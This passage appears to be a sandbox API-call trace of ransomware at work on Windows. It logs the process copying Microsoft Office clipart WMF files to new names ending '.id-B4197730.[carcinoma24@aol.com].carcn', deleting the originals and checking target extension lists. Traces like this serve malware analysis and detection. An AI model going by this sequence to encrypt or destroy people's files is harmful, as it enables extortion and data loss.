dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0300.740] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.740] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0300.741] GetLastError () returned 0x0 [0300.741] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x8fc, lpOverlapped=0x0) returned 1 [0300.742] WriteFile (in: hFile=0x370, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x900, lpOverlapped=0x0) returned 1 [0300.742] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0300.743] WriteFile (in: hFile=0x370, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0300.743] SetEndOfFile (hFile=0x370) returned 1 [0300.743] CloseHandle (hObject=0x370) returned 1 [0300.743] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.743] SetEndOfFile (hFile=0x358) returned 1 [0300.744] CloseHandle (hObject=0x358) returned 1 [0300.744] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0300.744] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf")) returned 1 [0300.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0300.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0300.745] lstrlenW (lpString=".doc") returned 4 [0300.745] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.745] lstrlenW (lpString=".docx") returned 5 [0300.745] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.745] lstrlenW (lpString=".pdf") returned 4 [0300.745] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.745] lstrlenW (lpString=".xls") returned 4 [0300.745] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.745] lstrlenW (lpString=".xlsx") returned 5 [0300.745] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.745] lstrlenW (lpString=".ppt") returned 4 [0300.745] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0300.745] lstrlenW (lpString=".zip") returned 4 [0300.746] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.746] lstrlenW (lpString=".rar") returned 4 [0300.746] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.746] lstrlenW (lpString=".bz2") returned 4 [0300.746] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.746] lstrlenW (lpString=".7z") returned 3 [0300.746] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0300.746] lstrlenW (lpString=".dbf") returned 4 [0300.746] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0300.746] lstrlenW (lpString=".1cd") returned 4 [0300.746] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0300.746] lstrlenW (lpString=".jpg") returned 4 [0300.746] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0300.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0300.746] lstrlenW (lpString=".doc") returned 4 [0300.746] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.746] lstrlenW (lpString=".docx") returned 5 [0300.746] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.746] lstrlenW (lpString=".pdf") returned 4 [0300.746] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.746] lstrlenW (lpString=".xls") returned 4 [0300.746] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.746] lstrlenW (lpString=".xlsx") returned 5 [0300.746] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.747] lstrlenW (lpString=".ppt") returned 4 [0300.747] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0300.747] lstrlenW (lpString=".zip") returned 4 [0300.747] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.747] lstrlenW (lpString=".rar") returned 4 [0300.747] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.747] lstrlenW (lpString=".bz2") returned 4 [0300.747] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.747] lstrlenW (lpString=".7z") returned 3 [0300.747] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0300.747] lstrlenW (lpString=".dbf") returned 4 [0300.747] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0300.747] lstrlenW (lpString=".1cd") returned 4 [0300.747] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0300.747] lstrlenW (lpString=".jpg") returned 4 [0300.747] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.747] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0300.747] lstrlenW (lpString="DD01163_.WMF") returned 12 [0300.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0300.748] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=2300) returned 1 [0300.748] CloseHandle (hObject=0x358) returned 1 [0300.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf")) returned 0x220 [0300.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0300.748] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.748] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0300.749] GetLastError () returned 0x0 [0300.749] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x8fc, lpOverlapped=0x0) returned 1 [0300.750] WriteFile (in: hFile=0x370, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x900, lpOverlapped=0x0) returned 1 [0300.751] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0300.751] WriteFile (in: hFile=0x370, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0300.751] SetEndOfFile (hFile=0x370) returned 1 [0300.752] CloseHandle (hObject=0x370) returned 1 [0300.752] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.752] SetEndOfFile (hFile=0x358) returned 1 [0300.753] CloseHandle (hObject=0x358) returned 1 [0300.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0300.753] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01163_.wmf")) returned 1 [0300.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0300.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0300.754] lstrlenW (lpString=".doc") returned 4 [0300.754] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.754] lstrlenW (lpString=".docx") returned 5 [0300.754] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.754] lstrlenW (lpString=".pdf") returned 4 [0300.754] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.754] lstrlenW (lpString=".xls") returned 4 [0300.754] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.754] lstrlenW (lpString=".xlsx") returned 5 [0300.754] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.754] lstrlenW (lpString=".ppt") returned 4 [0300.754] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0300.754] lstrlenW (lpString=".zip") returned 4 [0300.754] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.754] lstrlenW (lpString=".rar") returned 4 [0300.754] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.754] lstrlenW (lpString=".bz2") returned 4 [0300.754] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.754] lstrlenW (lpString=".7z") returned 3 [0300.754] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0300.755] lstrlenW (lpString=".dbf") returned 4 [0300.755] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0300.755] lstrlenW (lpString=".1cd") returned 4 [0300.755] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0300.755] lstrlenW (lpString=".jpg") returned 4 [0300.755] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0300.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0300.755] lstrlenW (lpString=".doc") returned 4 [0300.755] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.755] lstrlenW (lpString=".docx") returned 5 [0300.755] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.755] lstrlenW (lpString=".pdf") returned 4 [0300.755] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.755] lstrlenW (lpString=".xls") returned 4 [0300.755] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.755] lstrlenW (lpString=".xlsx") returned 5 [0300.755] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.755] lstrlenW (lpString=".ppt") returned 4 [0300.755] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0300.755] lstrlenW (lpString=".zip") returned 4 [0300.755] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.755] lstrlenW (lpString=".rar") returned 4 [0300.755] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.756] lstrlenW (lpString=".bz2") returned 4 [0300.756] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.756] lstrlenW (lpString=".7z") returned 3 [0300.756] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0300.756] lstrlenW (lpString=".dbf") returned 4 [0300.756] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0300.756] lstrlenW (lpString=".1cd") returned 4 [0300.756] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01163_.WMF") returned 68 [0300.756] lstrlenW (lpString=".jpg") returned 4 [0300.756] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.756] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0300.756] lstrlenW (lpString="DD01166_.WMF") returned 12 [0300.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0300.756] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=2080) returned 1 [0300.757] CloseHandle (hObject=0x358) returned 1 [0300.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf")) returned 0x220 [0300.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0300.757] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.758] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0300.758] GetLastError () returned 0x0 [0300.758] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x820, lpOverlapped=0x0) returned 1 [0300.759] WriteFile (in: hFile=0x370, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x830, lpOverlapped=0x0) returned 1 [0300.760] ReadFile (in: hFile=0x358, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0300.760] WriteFile (in: hFile=0x370, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0300.761] SetEndOfFile (hFile=0x370) returned 1 [0300.761] CloseHandle (hObject=0x370) returned 1 [0300.761] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.761] SetEndOfFile (hFile=0x358) returned 1 [0300.762] CloseHandle (hObject=0x358) returned 1 [0300.762] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0300.762] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf")) returned 1 [0300.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0300.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0300.763] lstrlenW (lpString=".doc") returned 4 [0300.763] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.763] lstrlenW (lpString=".docx") returned 5 [0300.763] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.763] lstrlenW (lpString=".pdf") returned 4 [0300.763] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.763] lstrlenW (lpString=".xls") returned 4 [0300.763] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.763] lstrlenW (lpString=".xlsx") returned 5 [0300.763] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.763] lstrlenW (lpString=".ppt") returned 4 [0300.763] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0300.763] lstrlenW (lpString=".zip") returned 4 [0300.763] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.763] lstrlenW (lpString=".rar") returned 4 [0300.763] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.763] lstrlenW (lpString=".bz2") returned 4 [0300.764] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.764] lstrlenW (lpString=".7z") returned 3 [0300.764] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0300.764] lstrlenW (lpString=".dbf") returned 4 [0300.764] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0300.764] lstrlenW (lpString=".1cd") returned 4 [0300.764] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0300.764] lstrlenW (lpString=".jpg") returned 4 [0300.764] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0300.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0300.764] lstrlenW (lpString=".doc") returned 4 [0300.764] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0300.764] lstrlenW (lpString=".docx") returned 5 [0300.764] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0300.764] lstrlenW (lpString=".pdf") returned 4 [0300.764] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0300.764] lstrlenW (lpString=".xls") returned 4 [0300.764] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0300.764] lstrlenW (lpString=".xlsx") returned 5 [0300.764] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0300.764] lstrlenW (lpString=".ppt") returned 4 [0300.764] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0300.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0300.764] lstrlenW (lpString=".zip") returned 4 [0300.764] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0300.765] lstrlenW (lpString=".rar") returned 4 [0300.765] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0300.765] lstrlenW (lpString=".bz2") returned 4 [0300.765] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0300.765] lstrlenW (lpString=".7z") returned 3 [0300.765] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0300.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0300.765] lstrlenW (lpString=".dbf") returned 4 [0300.765] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0300.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0300.765] lstrlenW (lpString=".1cd") returned 4 [0300.765] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0300.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0300.765] lstrlenW (lpString=".jpg") returned 4 [0300.765] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0300.765] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0300.765] lstrlenW (lpString="DD01167_.WMF") returned 12 [0300.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0300.766] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=2080) returned 1 [0300.766] CloseHandle (hObject=0x358) returned 1 [0300.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf")) returned 0x220 [0300.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0300.766] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.766] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.766] CreateFileW (lpFileName="C:\\Program 